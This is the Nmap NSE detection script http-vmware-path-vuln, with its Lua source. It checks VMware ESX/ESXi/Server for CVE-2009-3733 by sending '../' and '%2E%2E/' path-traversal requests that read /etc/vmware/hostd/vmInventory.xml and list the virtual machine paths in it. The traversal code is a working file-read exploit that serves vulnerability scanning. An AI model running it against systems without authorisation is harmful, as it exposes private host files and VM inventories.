http-vmware-path-vuln
NSE detection rule by Ron Bowes · Same as Nmap--See https://nmap.org/book/man-legal.html
Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733).
The vulnerability was originally released by Justin Morehouse and Tony Flick, who presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html).
local http = require "http"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733).
The vulnerability was originally released by Justin Morehouse and Tony Flick, who presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html).
]]
---
-- @usage
-- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host>
--
-- @output
-- | http-vmware-path-vuln:
-- | VMWare path traversal (CVE-2009-3733): VULNERABLE
-- | /vmware/Windows 2003/Windows 2003.vmx
-- | /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx
-- | /vmware/Pentest/Pentest - Windows/Windows 2003.vmx
-- | /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx
-- | /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx
-- | /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx
-- |_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx
-----------------------------------------------------------------------
author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
local function get_file(host, port, path)
local file
-- Replace spaces in the path with %20
path = string.gsub(path, " ", "%%20")
-- Try both ../ and %2E%2E/
file = "/sdk/../../../../../../" .. path
local result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then
return false, "Couldn't download file: " .. path
end
end
return true, result.body, file
end
local function fake_xml_parse(str, tag)
local result = {}
local index, tag_start, tag_end
-- Lowercase the 'body' we're searching
local lc = string.lower(str)
-- Lowercase the tag
tag = string.lower(tag)
-- This loop does some ugly pattern-based xml parsing
index, tag_start = string.find(lc, "<" .. tag .. ">")
while index do
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
end
return result
end
--local function parse_vmware_conf(str, field)
-- local index, value_start = string.find(str, field .. "[^\"]*")
-- if(not(index) or not(value_start)) then
-- return nil
-- end
--
-- local value_end = string.find(str, "\"", value_start + 1)
-- if(not(value_end)) then
-- return nil
-- end
--
-- return string.sub(str, value_start + 1, value_end - 1)
--end
local function go(host, port)
local result, body
local files
-- Try to download the file
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
-- It failed -- probably not vulnerable
if(not(result)) then
return false, "Couldn't download file: " .. body
end
-- Check if the file contains the proper XML
if(string.find(string.lower(body), "configroot") == nil) then
return false, "Server didn't return XML -- likely not vulnerable."
end
files = fake_xml_parse(body, "vmxcfgpath")
if(#files == 0) then
return true, {"No VMs appear to be installed"}
end
-- Process each of the .vmx files if verbosity is on
--if(nmap.verbosity() > 1) then
-- local result, file = get_file(host, port, files[1])
-- io.write(nsedebug.tostr(file))
--end
return true, files
end
action = function(host, port)
-- Try a standard ../ path
local status, result = go(host, port)
if(not(status)) then
return nil
end
local response = {}
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
if(nmap.verbosity() > 1) then
table.insert(response, result)
end
return stdnse.format_output(true, response)
end